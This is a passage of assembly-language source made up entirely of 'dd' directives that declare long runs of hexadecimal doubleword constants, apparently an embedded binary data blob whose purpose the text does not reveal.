dd 22907A21h, 0A78700E1h, 7974C03Ch, 0D97D80A5h, 4E019871h
dd 14917349h, 0C0946769h, 0CE30949Fh, 306B2440h, 0A008F1C2h
dd 18A08CADh, 83BD4560h, 6C7469D9h, 3A11007Bh, 5F0307CFh
dd 0A403B0FFh, 9FD971B1h, 6FF7B0B7h, 0ADFD2A6Dh, 445B7790h
dd 2013912h, 36730598h, 0DDC9F2FEh, 24038570h, 0AAA3B74h
dd 86E05C06h, 704CCBA2h, 0EA75EF00h, 0C44A09E9h, 0EECD07E4h
dd 3A28F99Eh, 0B62102E8h, 0E0A2E326h, 9F03F60Eh, 1486003Bh
dd 8AAC082Ch, 0EC006899h, 46B5F8EDh, 0A4312BB8h, 0BF230D0h
dd 15929039h, 0E34EF800h, 0AD3EAE4Ch, 0A1FD0272h, 0BD589F85h
dd 443090A4h, 54900DA2h, 4D3DD1Ch, 0CBA48EFDh, 764C97ABh
dd 5538C9BAh, 580675CCh, 0BFD4AF07h, 1EDC0019h, 52A6EE42h
dd 1400404Ah, 0FD06D2EBh
dd 32D6943Ch, 21A933BAh, 4490A488h, 0A0AF40C5h, 0B72EB2h
dd 80411F40h, 12797F56h, 6CC7AC14h, 37347EF8h, 0E43031DDh
dd 16E200Ah, 0B47789C3h, 0E0EA1D23h, 0DF007186h, 0B2CD9716h
dd 91F355ABh, 0A4420034h, 6E1C6436h, 0DCDBE907h, 0BA50E62Fh
dd 0B446D2h, 2DECDD83h, 0A0C9A4F8h, 4F798F12h, 2A750440h
dd 1A932044h, 18981418h, 371B6410h, 9B27A9F4h, 505421h
dd 8D49FD59h, 0C854F0A7h, 0C54D0DCh, 621F92B8h, 204F9E55h
dd 5DF3C385h, 1A900E9h, 0E53D063Ah, 890035E0h, 0D5203CB7h
dd 0DEAA747h, 544A2167h, 602FE281h, 790B630h, 322E1E17h
dd 0EE1DBA71h, 314A9251h, 0D2156CE4h, 0E4C01305h, 0DF82403h
dd 28B4EEEFh, 5820FE20h, 0A06FE2D6h, 1F13D88Fh, 9D91A46h
dd 442280B4h, 0A86E8CB7h, 0A2DA64A8h, 1848F330h, 132F50DDh
dd 440F5458h, 4CD63524h, 3C911846h, 0EC4857FDh, 91DB2184h
dd 14B76DE4h, 0C471E091h, 0CDD61180h, 3708DB31h, 929BBE00h
dd 4C1C96CEh, 2AE2041Bh, 8C8474A8h, 762608B0h, 0AA4E10AEh
dd 46402C38h, 2857456h, 89755F2Fh, 0DC605B79h, 0B4A44D69h
dd 46D1F260h, 1321C540h, 48D72443h, 3980D364h, 8F0EE7F4h
dd 0A3C9831h, 1D6CF952h, 8DA580A8h, 0EACF8503h, 46C81F00h
dd 54201E38h, 0A2F131Ah, 0A08C593Ah, 8D0811BBh, 0FA247822h
dd 0C0BE4E10h, 0FC09853Ch, 4A199418h, 0A6A89D5Eh, 99E420BEh
dd 490540E4h, 75E1EAh, 0D53DDC56h, 6904E5F4h, 3FDB95Ch
dd 22553B95h, 5CD5A4B8h, 0A82E1460h, 13A002B7h, 9207E441h
dd 0EB2FE4A2h, 337123h, 0A83EB3B1h, 9ECC7EFBh, 0F484AC55h
dd 8D2461F8h, 104A1428h, 0E160F260h, 4FF31B1h, 25222110h
dd 39D80854h, 234C5602h, 0CCBC1B74h, 6E821E1Ch, 904D0048h
dd 0E03DC3F4h, 0E7DE600h, 0A96FBB2Ah, 10173174h, 64B62850h
dd 142692F8h, 0E68A7CD4h, 7F00B96Bh, 0B1800E0Bh, 75843E29h
dd 1DF9BF00h, 0B89A427Eh, 6905880Fh, 0BD348677h, 5F2D0021h
dd 0D49D2FB9h, 21008635h, 0FFDC53CDh, 1A5CC9Fh, 0E7BFB57Ch
dd 0D4F97588h, 0B81F157Fh, 2503F112h, 7CA90557h, 2A971848h
dd 374628D1h, 0AB618A60h, 7F253B9Eh, 5BC024Eh, 0C11BD62h
dd 0C3CF62E0h, 446DA20Fh, 9CCAC0D2h, 0C374E73Fh, 9A3BEE38h
dd 0FD755806h, 7508973h, 21BDEFC2h, 0DFCA6134h, 84C8DB0Ch
dd 9D067FBBh, 0A138BF6Bh, 23880091h, 0DDC256E4h, 0B93E751Bh
dd 5F1450F8h, 0D4304F51h, 82003C80h, 3A26337h, 0E4C13255h
dd 4D6C012Bh, 0EE0C645Dh, 49F6F057h, 3C05BC72h, 0DC352936h
dd 834B8C60h, 46CA0620h, 69147939h, 34A5210Ah, 0C7818882h
dd 3E2F9A13h, 0AE38218Ch, 912E4BB1h, 0E1007424h, 9BA3CE56h
dd 0B8E503B1h, 8D107282h, 70152CFBh, 0B0B2FDh, 0D3F3E136h
dd 50592DE5h, 44239CE0h, 172A9B4Ch, 3830A8E6h, 8056984h
dd 14A003Dh, 0BB8BC83Ch, 3000799Bh, 0F7B943DEh, 0A86BD23Ah
dd 6AEBB8h, 8F604DAFh, 0AC43B352h, 0AD04500Fh, 0ABF920CFh
dd 80EF8DD5h, 9D8EDA9h, 3825F68h, 71518183h, 3788DF55h
dd 904DDF8h, 5E18E8D5h, 3884483h, 11C846A8h, 406C55A8h
dd 3125C87Eh, 3421BC3Ch, 35C980D0h, 531172BBh, 0D95F02DFh
dd 37432E33h, 0DB006844h, 9DD1150Fh, 6C1E46h, 0CDA7A5CAh
dd 0ADCFD345h, 0DEE2BB07h, 0D0DAB7BDh, 4AA43681h, 7F009E5Ch
dd 8CFB52F5h, 79EC34A1h, 0A93B00C8h, 43D27001h, 310EC1A2h
dd 0AE51B830h, 2C0C92AFh, 2A84B0A7h, 18A06DEEh, 5987F462h
dd 0CCA8973Eh, 4700D9B5h, 7E582D93h, 6216CEA3h, 8405318Fh
dd 6107211h, 0AE03E25Fh, 0F29EB992h, 6751F06Dh, 0AFECA1E7h
dd 0C324B510h, 160029EEh, 66173980h, 30D24BA2h, 62D17CB9h
dd 31C0BB6Dh, 3CC94915h, 549173FEh, 0C250A088h, 0B931DF28h
dd 80B67D22h, 88699C92h, 22E1C65h, 1BC004B1h, 1807C21Dh
dd 91ED8449h, 5F0073B9h, 0C5C4DEC8h, 170AA948h, 0FC57641Dh
dd 0AA6FFD62h, 7400FF94h, 0C2DFBA12h, 0EB1707C0h, 0FBD6DB9Eh
dd 0F757F881h, 8491867Ch, 2A39761Bh, 1D0DF34h, 0ADE3B0A6h
dd 0C831C2DCh, 5C76281Bh, 94339928h, 7EC55F05h, 0FC43CDBCh
dd 9D41E8h, 32B70CA9h, 77D39430h, 69C42EF0h, 624A7A6Ah
dd 203E9340h, 6393C11Ch, 56BC8A00h, 32A49B02h, 124F00D3h
dd 0B1B93316h, 28125317h, 0D84094CFh, 571085E4h, 513F05C3h
dd 6088ECF7h, 0B02AE484h, 7300D1ECh, 1A9F6085h, 0C20CC12h
dd 0B8295CA3h, 0D4889680h, 0E6A40069h, 566C77CEh, 2006090h
dd 0FE24E47Ch, 91399D55h, 580209Ch, 15802521h, 9BD84546h
dd 0EE1488D5h, 59E72F30h, 58DFF9h, 9DE2405h, 0CFE88946h
dd 17019891h, 0F750BA68h, 0E8515EE9h, 6981D534h, 1A356BEBh
dd 0ACFFC404h, 0F6DE610Ch, 0A03B719Ch, 6C29EE48h, 689071EAh
dd 11914F30h, 49B89Ch, 0C64C8781h, 3ECBB663h, 0CEE4201Eh
dd 4AD4EF85h, 0DC8A9840h, 4252Bh, 4740FF9Bh, 0ED6FEE3Ah
dd 0F2F4ACE4h, 0C8F1903Dh, 4E6D881Ch, 5CCF0051h, 704581A1h
dd 0DAE207A8h, 30A04938h, 1D71EE0Ah, 0B6228C2h, 9C44B6h
dd 18C08566h, 37DC1376h, 89805949h, 1E60A2CEh, 74C46691h
dd 10AF898Dh, 649BA51h, 0AB6A2B31h, 5C2269DDh, 503E487Dh
dd 0D432C480h, 770F5649h, 92A79871h, 0B2240460h, 0D3880027h
dd 0D6834652h, 660284FFh, 0E49FA592h, 99DC826Ch, 3BFC901Bh
dd 800C91D3h, 5C9291ECh, 232A5786h, 150098DFh, 1453A0EBh
dd 9042F649h, 0FDFA0C20h, 0BB2146C9h, 5F575506h, 839CD461h
dd 7DE9D6ACh, 0C1E13D99h, 6FB14600h, 88EB8602h, 0AF08CC02h
dd 0A7C7248Fh, 42F83B94h, 5F208BD5h, 9297CE14h, 4164019Ch
dd 1CA8AD84h, 0A86EEEA2h, 5B709100h, 0F0C38CEFh, 0F3550BA7h
dd 0B0249FA2h, 204F4FB6h, 8C3C9027h, 55C70BC8h, 58A31595h
dd 4AFAA1D1h, 15472C98h, 5F30FD07h, 0DBD1E426h, 9C30C40Dh
dd 0A99B153Ch, 0BE09A8D5h, 0AC900B4Ah, 0BD691184h, 77B804B9h
dd 7C081158h, 0B9CE1588h, 0FB4C006Ch, 8797703Eh, 5FDA0300h
dd 57276348h, 0C620A15Ch, 87DCD084h, 0DF28C81Dh, 0B8170600h
dd 2546A5D9h, 0E29B80D1h, 7026EC91h, 2A9C218h, 207E6164h
dd 6374D2F6h, 55AB03D4h, 0FA13A9F4h, 0A4EEC6h, 551ED68Ah
dd 0E5F5FE8Fh, 2077F42Ch, 4CDD3F60h, 44A76CF6h, 3E319B69h
dd 82388174h, 0B8AC4980h, 90E0D03Fh, 0B606CA00h, 8C4520CDh
dd 388A18FAh, 741129B3h, 65A15B00h, 0DF66CD60h, 0CB99005Ch
dd 29F58727h, 112C1C1Eh, 0B64454A6h, 14957043h, 66054AE0h
dd 0D6E11D00h, 935C5419h, 0E07C949Ch, 70C1CA4h, 428848h
dd 0B8EADB74h, 380952Ah, 0A0C6B18Fh, 0D11030F5h, 7D88BB14h
dd 6ADC8B87h, 504A9220h, 90F90F3h, 9E0F982Ch, 0C3B9A010h
dd 8698824h, 23745362h, 4C04BC6h, 0B0905565h, 4C2418BAh
dd 7A8F189Bh, 67A30356h, 0FB1F39Dh, 0D30CA0BCh, 0D7314E0Ch
dd 773450C6h, 605103A1h, 0D9862AFh, 840989FEh, 0B225DF09h
dd 0B38809B8h, 8B83DCA0h, 0B0EB9BF5h, 0EA665AC5h, 901F2E7Fh
dd 0A09134h, 17A1533Dh, 9255FDBBh, 0B3C0060h, 0E1825C16h
dd 1E075BA7h, 3BC6BB63h, 52620A78h, 9C3E43F0h, 60E8900h
dd 7837FE90h, 2FBB00F0h, 0F11287A0h, 40B9A66Ch, 964F6B1Ch
dd 0D9E560D2h, 85F506h, 0BD7A665Dh, 6A906158h, 0F422BC92h
dd 9DF0097h, 0EBBB26A4h
dd 0C4B855B2h, 2084AF44h, 28D1B11Ch, 20EA7484h, 3F8280B1h
dd 5947DE42h, 11542418h, 61FD1898h, 7CA6F9h, 0C3B350C0h
dd 3D045C94h, 4CA36850h, 0A92A3598h, 0A24FCC1h, 9466FCB9h
dd 0AC4400A9h, 1FB77976h, 370B22E2h, 38461451h, 0D22800h
dd 0ECCD0F7Eh, 0BC397A34h, 0F70010A4h, 23547C48h, 4A95BEA7h
dd 38C42243h, 39E53C80h, 0C8000F85h, 729EECD9h, 1FA2B75Ch
dd 928ABB7Eh, 80182418h, 0B11BE970h, 58AEDE09h, 0FD2CA506h
dd 70BC88h, 14EEFF46h, 0A2C034A5h, 0EFF7E500h, 0E05A5D2Bh
dd 83E891BFh, 838903C5h, 1C4C6890h, 0ECB62700h, 96CA49F6h
dd 2C10E0F4h, 0A5CCC377h, 61AF1CA0h, 2014A6Bh, 0ED86C9B6h
dd 60FCE911h, 0F09C1A17h, 0F04C28B8h, 31B3BE00h, 0C5C2C03Ch
dd 260D09B0h, 0A0903023h, 290567EFh, 0B2D53A7Dh, 6246BA80h
dd 2CC89151h, 69978Ch, 6F50F170h, 53CF04Ah, 85581411h
dd 80702ADCh, 8B4F5D00h, 2F3AAA54h, 0A5AD00EEh, 0AEEDEB45h
dd 6D1F490Ch, 3107CAB4h, 705CF7DFh, 92B8E482h, 9CA7003Ch
dd 0FF86177Eh, 0DC004463h, 0ED3E290Dh, 91FDAFD7h, 0CC2F0064h
dd 7894677Eh, 144B3C00h, 5FADE20Ah, 9ED4A885h, 38B200CCh
dd 3746C331h, 0E09B1A0Bh, 0F8609880h, 735F6958h, 9715062Ch
dd 20A78E37h, 616FE301h, 73456EE5h, 50115463h, 483E26B0h
dd 0CD57FC40h, 0E39200C6h, 457A93EAh, 73FE4E17h, 1B82660Ch
dd 8841BCh, 38A9D1F9h, 0B2C6B0C1h, 539C2000h, 230FA031h
dd 96BE02BCh, 0AFE8E936h, 107618C1h, 9046175Fh, 0FA1428CCh
dd 6B4F09C0h, 7818855Eh, 7400F384h, 0AC7718B0h, 0B9374EF7h
dd 0DC630068h, 0EE820B10h, 0BDAEB209h, 3889836Bh, 0F7D104AAh
dd 80E331F3h, 205EEAA7h, 0E945BB00h, 84DE02AFh, 0EFD2CBA9h
dd 0A2C6C8A2h, 831D1521h, 0FC29460h, 53140DC9h, 28A3D266h
dd 9A0F721h, 68E0DC4Bh, 618ADE3Bh, 0B04CF4B4h, 0C67744F7h
dd 13787D5Dh, 3408AC2Ch, 8A894290h, 0CC7D4000h, 0F27B02B9h
dd 73E4C15Dh, 4724842h, 0A139C700h, 78169629h, 0E3A40F54h
dd 0DF234A04h, 511E6B38h, 1480F646h, 20ECFFE8h, 0DD0CA00Dh
dd 6EA70409h, 82C9EFA4h, 5F2085B0h, 126768C5h, 216A2C57h
dd 83E13414h, 7DF701D9h, 2EEFD8D4h, 0D3A90148h, 3052ECE3h
dd 27DE81C0h, 0AFD6E51Ah, 0BA80742Ch, 0B31178D9h, 48AD2500h
dd 0C181E25Bh, 7D5F012Eh, 7EB159B0h, 3B70606Fh, 0C6274AE6h
dd 67A43885h, 1C070087h, 0E01EADF7h, 841381E3h, 0B8C82B0Eh
dd 221F0031h, 0BDD072AFh, 4B15157h, 83BC6988h, 6E41F867h
dd 38A85903h, 0A9717607h, 0BBC448BEh, 0A4FD52EEh, 8AB7ED0Ch
dd 0CC7CDC91h, 5448BB4Fh, 0CCD6AFD3h, 0E02A0Fh, 9F60F8C3h
dd 0A7F114EBh, 0E801F814h, 0BAC81077h, 0C183D895h, 4A2014B8h
dd 0CB248889h, 2D140044h, 0ED05D5F1h, 1D09AC85h, 80F40B31h
dd 4BC9D72Ch, 1141093Fh, 0A090389Ch, 2CB87952h, 582D0526h
dd 0ECE850Bh, 753B26F7h, 0F39B27C9h, 4FF0FC20h, 305A1B4h
dd 86247EFh, 0CCF29432h, 0FA173C98h, 0E29C0B84h, 0F514975Fh
dd 59FAC689h, 2F471E00h, 44355A1Fh, 6C171A29h, 0A050E9h
dd 3668DCF9h, 53DD5900h, 0E9FE5544h, 19C2514h, 2A009494h
dd 98F4EB81h, 1228781Ah, 4506B93Bh, 640B6244h, 1E5421E8h
dd 20DC606Dh, 34202E45h, 23E28B77h, 200F8C4h, 0E0876F03h
dd 62EC0562h, 0BCEF516Ch, 23D66720h, 85613EADh, 9CDE6A15h
dd 5009777Ch, 4526AC9Bh, 18C6391h, 8743B32Ah, 59E408DAh
dd 76810005h, 82FFFE80h, 5600D483h, 0BD1A934Ch, 0A9BEFD78h
dd 0F1CC8BE0h, 0CB9A0E1Ch, 200C3DAh, 0B972A8D9h, 1D78AA50h
dd 542414B1h, 4494A710h, 0EB720102h, 18833F1Ah, 4BDBE97Bh
dd 313B4AB8h, 23AC44h, 2CD3A412h, 8A1987FBh, 5168336Fh
dd 0D9E93E18h, 24060FEBh, 0F13453DCh, 4C5E2761h, 479E4420h
dd 22F44F9Ah, 0A7789338h, 167005h, 7EB93AC4h, 361EB1A6h
dd 4824D148h, 0AB1BC360h, 3C21A0D7h, 6CB0CBh, 0DC6B8C43h
dd 6CD3174Bh, 447AA8A8h, 0C64CF900h, 18ABE8FBh, 35A40092h
dd 4D542D85h, 3700ECCAh, 0F06939C2h, 0FAA1DD4Ch, 0AC4A12A5h
dd 89881E7Ah, 0B0194BD0h, 0C9997012h, 578A8F03h, 0F6139F76h
dd 29E602D1h, 0EEFC4109h, 4AED6060h, 3E94E4B9h, 78CE80F8h
dd 81CD85h, 298C8D0h, 9A9D5E0Dh, 5031DF24h, 6D9B9F40h
dd 984F3B94h, 0C436058Ah, 0BA9606A6h, 0BE096031h, 98ADC53Eh
dd 141A0FCh, 0ACC37FCCh, 0F0399331h, 0A8B66E1Eh, 524A2F03h
dd 0C36103A5h, 35A1B666h, 640A3ED8h, 79FC6A48h, 38A0FD52h
dd 0AEE30FB7h, 2AED279Eh, 2FE01927h, 615754h, 17508F59h
dd 1425A21Dh, 69294605h, 0D4216082h, 98725C62h, 88329D02h
dd 4059A349h, 0E7BD3780h, 0B4EFB1Ch, 2FED6740h, 3C4648C9h
dd 0A1D18010h, 443352Bh, 4A14997Ch, 7E708025h, 4605085Ch
dd 0F654AD07h, 0C8287AC4h, 889F4184h, 7779950h, 5073FBABh
dd 0B0A93B1Dh, 815F5500h, 49175E62h, 0A421E4F6h, 3CF422B8h
dd 945B4E29h, 0FE20EC28h, 4CDF4C76h, 508C1702h, 0E4846D36h
dd 0FC05EB3h, 74629B16h, 49A300D7h, 0E6A5C96h, 0F90B0782h
dd 809AE0FEh, 0E8BA6800h, 0A841A87h, 0A4196089h, 60D20809h
dd 9DF5F8F9h, 20D7CF38h, 3A0C8Ch, 72B04D55h, 162ED8BBh
dd 63ED5200h, 0F0B865EEh, 244026BAh, 5E41140h, 42CF2F46h
dd 0BD9488h, 2E6E7371h, 7B16471Fh, 0C91327FEh, 0B43084E0h
dd 26DEE950h, 9FFA3F1h, 0E8904C7Bh, 2030190h, 3122A6D4h
dd 153130B1h, 5F73FFE0h, 6600E898h, 0A2E23288h, 0A8365655h
dd 46D9EBCh, 838D2028h, 0E401C446h, 1C078C08h, 5E4B2279h
dd 2516DA20h, 9AC301B5h, 15CB26D2h, 8832D3h, 707880BDh
dd 4901D72h, 9D47C056h, 176C88CEh, 0E1536A00h, 0EF0CF4B2h
dd 0C51303D5h, 0AB0E065h, 0CCCED1F8h, 3DC0D352h, 0DBD480BAh
dd 4AFAF707h, 0A6931E3Ch, 36690153h, 0C9E494EEh, 80482CE8h
dd 4721D81Dh, 0A26812D2h, 0EFCE00F9h, 1C9CD4C3h, 0AE51F000h
dd 829BB2C6h, 0A0EC9E1Dh, 27A55AA5h, 12904E0Ch, 0AC0C4146h
dd 5832940h, 0A9B7122h, 0ACD8F414h, 506E88h, 0BA4F2A8Fh
dd 0F4484D16h, 848DFD0Ah, 0FE903460h, 3441F3C8h, 0D430AA50h
dd 0B93A79EDh, 0B8A380F8h, 4723DC71h, 1E3B9B18h, 0B126EE79h
dd 5D09828Ch, 0F4C0912Ch, 2002D29Dh, 0DFEB77EEh, 6CFA30h
dd 91B67D9Ah, 8CB4ADB8h, 0DEE7A503h, 0A106A0B0h, 98794C04h
dd 0B19E5B0Fh, 7AA9CA00h, 600E2D0Bh, 4018C2A2h, 871A8DE6h
dd 8C1301E2h, 909759DFh, 924C7CF0h, 6D624803h, 3E792EB8h
dd 5EE440D8h, 2702B396h, 3408388Ah, 60A4D94Ah, 70569E0Bh
dd 1F16B876h, 208CA537h, 57F101BAh, 8F618C2Ah, 0A7BDD41Eh
dd 20617A4Eh, 0DA070D9Dh, 10540744h, 37BEA031h, 9B7D51F7h
dd 0AA13D012h, 0A3C4E4C9h, 2E050082h, 3E86E056h, 674C1EA2h
dd 88274E3Ch, 0DB48A920h, 868B0084h, 1C516BC5h, 4515CBC2h
dd 1E07796h, 0ECFC04D2h, 6C73E822h, 5F0B8A22h, 309EF014h
dd 0ED82B3Ch, 7D8AB709h, 6613623h, 64A0C0C5h, 65FB295Fh
dd 89404340h, 0C9DC4909h, 0F474E8CEh, 7B760FC5h, 46812AEBh
dd 2045BE5Dh, 0D807FDC5h, 5EA17237h, 4F4D585h, 0D02F52EEh
dd 30449B25h, 0CE14E317h, 51A19020h, 0A8C800AFh, 69EC86A5h
dd 730CC58Ch, 0C14D77DAh
dd 31D80075h, 59806432h, 4626A985h, 1E1F112Eh, 0E1567A00h
dd 9CCAC0E4h, 0E541C338h, 80B54139h, 5D117D99h, 7CA66D6Ah
dd 0B0720047h, 21DF3058h, 1D0B2E50h, 9CEEAB4Dh, 5CD300E4h
dd 0BB13238Eh, 883F7B69h, 521D8773h, 919982F2h, 7D30DF54h
dd 313C00F1h, 11F80C0Bh, 0CD012CC9h, 0B2CB812Ah, 0C4693ADDh
dd 0B190200h, 0EB9AC820h, 68FDAF25h, 7048BCh, 90C4993Eh
dd 0D3911617h, 5CE8A47Dh, 0B3D61C00h, 0BF3DB2D8h, 259C0AAFh
dd 80B07729h, 0DA5BBE6Bh, 0FB0F2832h, 4BCCE12Fh, 3D64613Fh
dd 4F585F08h, 63FB8010h, 0C0F74D7Dh, 32E79388h, 4609171Bh
dd 801588D9h, 9CC7A7E4h, 1E4A439h, 0D62CCAC1h, 3CCE2D6Fh
dd 44EF1970h, 0D03D37C1h, 7986AA00h, 0C004D427h, 9E13531Eh
dd 0F1693540h, 0C81EA5h, 5607F9AEh, 0CA7951F4h, 44AC58CBh
dd 876E3920h, 30B4EC80h, 0A4FA1D79h, 5249D800h, 93B88ADh
dd 9E320037h, 0A6A1EB17h, 0DC126593h, 4C9342C0h, 2AF7D00Bh
dd 48820034h, 6F8133EEh, 0A81DB1D8h, 2952A088h, 6CB6A020h
dd 2076149Ch, 0A7DAE5Ah, 1DA78916h, 0A801C7A4h, 82BED78Fh
dd 0E497BD64h, 3F46052Ch, 0A4D2A445h, 0F00E918h, 0D396C1C4h
dd 1670877h, 6FB6BA4Dh, 0E156725Eh, 0C1742857h, 0A607AB4Bh
dd 0CD30B2DDh, 0F12500AFh, 0BAEC4A06h, 55048D80h, 69055736h
dd 5CF3BC82h, 0ADFD50F4h, 6A71B61Fh, 7C233080h, 207DC2Ch
dd 10D4BC6Bh, 0AD42DB5Bh, 3400C864h, 7BCD59F1h, 0E82B93h
dd 9DE4AFBCh, 0DFF69A27h, 80083A5Ch, 0C9E05A9Bh, 3E931168h
dd 4FA400AEh, 0A84E7E4Ch, 92DD00FFh, 6A70790Fh, 8900CCBBh
dd 69491C6Eh, 91B26682h, 0F1F48298h, 0F4E54562h, 819C8888h
dd 3ADAEDDh, 805C2CDCh, 91B4086Ah, 193400ABh, 0DC4A9D86h
dd 0E84F1EDFh, 0C2E37820h, 0F4420221h, 0D0086814h, 7140FC56h
dd 739A187h, 6EF9E3B3h, 4061F5B9h, 0F5AB5F88h, 59021D95h
dd 0F05E73B6h, 37F481C4h, 0C3043290h, 448C759Ch, 0DCF79D20h
dd 27155F00h, 0F5908DCEh, 72EC8401h, 0DC149CCAh, 0F4119432h
dd 80D45C9Ah, 0E247F184h, 8E940EBAh, 0D2A0B0FEh, 0E08776DCh
dd 20003998h, 0A629C55h, 2D1A6009h, 0E02042BDh, 7852990Fh
dd 0DFD1A904h, 0BCE1144Ch, 0B02C1431h, 340E1BA0h, 0C208C516h
dd 0F2829C05h, 500CE4A2h, 7E59DF4Ch, 0FB302400h, 9F8C7B97h
dd 74851C4Fh, 2E34C31Eh, 87B20307h, 80394840h, 6DE36494h
dd 8631E0B0h, 0CD73B7h, 0A1EA88F5h, 4340BC57h, 0FE6FE50Dh
dd 6861984Bh, 22C0F432h, 0D15C9863h, 0E21E9212h, 43AF6000h
dd 5888CD44h, 533D5B1Fh, 884D6458h, 0BA3C9C82h, 72C4888h
dd 70191E88h, 3CEB1A2Fh, 0ED01FD77h, 0FB61FA8Dh, 0A84841E5h
dd 9F5D3CBDh, 0C17C3300h, 53DD4CF3h, 3A1C4AF2h, 87A5C568h
dd 69EB9C9Ch, 0E4FAEE64h, 2E5513A4h, 62C49031h, 0EA05F16Fh
dd 32B5C195h, 442D30DCh, 8E88AE03h, 0D8280088h, 1B8DE433h
dd 230FF29Fh, 0E0F5E7CEh, 0D6EAD4B0h, 78B93Eh, 2D610F8Ch
dd 5400B9CCh, 25F305A3h, 0E7A36B6h, 9BAC55F6h, 3B84C893h
dd 9EDEA44h, 0FD841D3Eh, 6AAC5C90h, 0E814A200h, 6E986F06h
dd 200F0203h, 4BBFD538h, 8E0004D9h, 3A4D3DA2h, 785009Dh
dd 0A14A6065h, 3313A729h, 0D302DFDDh, 5EF2E0DCh, 0B2D74088h
dd 0FC78038Ch, 0D298EC04h, 54A229DFh, 91546400h, 4F69DC10h
dd 4EBC883Eh, 0E89F80CCh, 0A19A0367h, 0F39BBA59h, 2534B958h
dd 4D0661BBh, 1CD2C450h, 0EE5E3D67h, 0E63E3C82h, 806639ADh
dd 61F42A00h, 0B93633C4h, 86650018h, 0E9F2D98Ch, 0F02C699Bh
dd 0EC40D0CFh, 45A897h, 2347539Fh, 0AEAA09C0h, 9093E700h
dd 3FEB44DAh, 381A0BEFh, 0F4806B82h, 9DF46D2h, 0BCD56E00h
dd 0A5547C32h, 90B47C44h, 4058B978h, 9B6CB82Fh, 5D15EC01h
dd 1A433B5Ch, 1B55CFEBh, 6CC8BC56h, 0C06002ACh, 8EA330C2h
dd 644D10C0h, 0F64AFE04h, 3B40DE34h, 6FC66344h, 2E031601h
dd 29061EE7h, 0D174403Bh, 2DC29ED4h, 5EFB0907h, 0FE707A43h
dd 616601h, 67E895DFh, 0C9CCF682h, 0F7690E00h, 4CD78FC1h
dd 9012515Ah, 18097C72h, 7040B86Eh, 342540A7h, 3F4884D6h
dd 0E89A4F4h, 0C3733398h, 0AB93FAC4h, 0C6E41681h, 13A2BE4h
dd 1D1489F5h, 6D3746A8h, 86A01CECh, 0FAC74CC1h, 0E37107D9h
dd 8270612Ah, 82E068F5h, 61F97BA6h, 0C4388894h, 0A9406DC8h
dd 27E12B02h, 3068CE17h, 0D8B3D18Eh, 4B00509Ch, 0A028C9EBh
dd 4F937BE8h, 5450888Ch, 0E400EA76h, 0D522BE75h, 7EA0DD1Bh
dd 4221C334h, 20A0AA11h, 0E9031791h, 0D485D18Ah, 8704F0AEh
dd 533B762Dh, 7A00ECBCh, 316D1577h, 9F12A4A1h, 4C951C82h
dd 0E53E2800h, 25C3BE7Fh, 98903B9Ch, 4CB27369h, 0C600A8A6h
dd 0B49B8781h, 0A6688257h, 15B30290h, 4CA6F29Ch, 0F1074044h
dd 0FFED5884h, 1ED87AC0h, 22B09AD1h, 0E80A8938h, 0E8673423h
dd 43685360h, 662607C0h, 715C9A7Eh, 0C0D8CD69h, 0D94CD2BEh
dd 4C0449BAh, 9F6A8078h, 0E809D57h, 0EC09F3B9h, 803E922Fh
dd 143D557Fh, 0ECB141F9h, 0AAF2B400h, 0EFBA032h, 0D5BB0B57h
dd 624B14A3h, 1ACF2BDh, 6A56FE68h, 0E9AC80AEh, 616F00D8h
dd 7345FFA0h, 622D80A4h, 9D644852h, 4414BA1Ch, 97006091h
dd 582946D7h, 0E4894478h, 0D921045Fh, 808A53DEh, 0D2D504E0h
dd 66809896h, 0F791C27Ch, 59CB00F1h, 0F2094EA3h, 6B0B082Ch
dd 8FFC3521h, 0A090B2A0h, 29403BE2h, 0A4A797h, 0AF5A8AF4h
dd 79002345h, 9BD44771h, 0B13FFCh, 0DD2654B2h, 6A8241BBh
dd 34FC0F54h, 7BFBC94h, 0FCEB5A33h, 3A45EDE0h, 78C100DCh
dd 2AC72372h, 64170C69h, 270C4F4Eh, 5DFB953h, 5A90D65Bh
dd 2098C19Bh, 8466D0ECh, 41241200h, 8D2C69E4h, 0D0109773h
dd 740EA4A0h, 805F1986h, 0B423B664h, 4AC600D2h, 7566DBEh
dd 0B313373Bh, 3CA6019Bh, 978B1Fh, 0C68C20FFh, 0EF4F99CEh
dd 2C52301Ch, 0A4543890h, 4A692CA1h, 28A01BCh, 304CE33Ch
dd 9E609684h, 2BD01751h, 0B82CEADFh, 22294E7Ch, 50103D40h
dd 34F903F7h, 866820ECh, 0BC20205Bh, 1C295803h, 80B10BE0h
dd 56CCE483h, 32518E60h, 7329C6B4h, 98F51128h, 13ED5160h
dd 0D0BE6D20h, 4A9753B8h, 43E33F10h, 7A3EC10h, 8E66C2E8h
dd 44183E26h, 0F400D725h, 325F8FD5h, 276756D9h, 2448CEA9h
dd 191E06ABh, 0BCD8FFC7h, 2A60960h, 20DF3F9Bh, 0B07EBE4Ch
dd 407280CEh, 30CCC50Dh, 579EE3C4h, 0C200B930h, 0EB3C2CB5h
dd 973E90A4h, 7600AC14h, 0F812A5C5h, 7D7B82AFh, 0FFA31F6Dh
dd 56242A6h, 0B07CE040h, 0C4A138A0h, 0C0207DA1h, 0C7F30711h
dd 0E4D9508Fh, 0D139129Bh, 1FCB274h, 0ACB571A4h, 2C605E4Fh
dd 0A8D32867h, 0C0975090h, 3061D22Ch, 8FE572B8h, 0BEC1EE00h
dd 0F5B7C60Ch, 2E3814D9h, 2017A8A5h, 91F8D2A9h, 20248829h
dd 0B5ACE100h, 29EC86Bh, 0A5C18B3Ch, 0E487046Ch, 20DDD0A2h
dd 2E89BCDEh, 1DEB1060h, 0BCAC893h, 2802B025h, 685970B8h
dd 0A2855100h, 2DC5C36h, 3F6326EFh, 1C74AFD6h, 6DF3CA40h
dd 6564003Ch, 6F6EAB69h, 0C7009677h, 305E3D3Fh, 2168C370h
dd 8100A645h, 0B10FE5B3h, 12FA00F1h, 297B070Bh, 11F23ECBh
dd 3F34AC01h, 0D2A79CD7h, 48F50820h, 7E107437h, 0DDED13BBh
dd 64FE5822h, 5D380478h, 84F75767h, 20B238h, 5E923339h
dd 0ECC718EFh, 4A990E5Ch
dd 472552C8h, 560C584h, 0C1A029C4h, 2E01EB4h, 80605C3Eh
dd 4F5E732Dh, 0A307142Ah, 94BCC285h, 7C8DD000h, 45B6008Ah
dd 37661769h, 0ECFD0F19h, 0BD01F0A0h, 0DA1461AEh, 0B82CBE80h
dd 8AA8FD8Fh, 98F6DC00h, 5896F1ACh, 9B215C17h, 0DF543687h
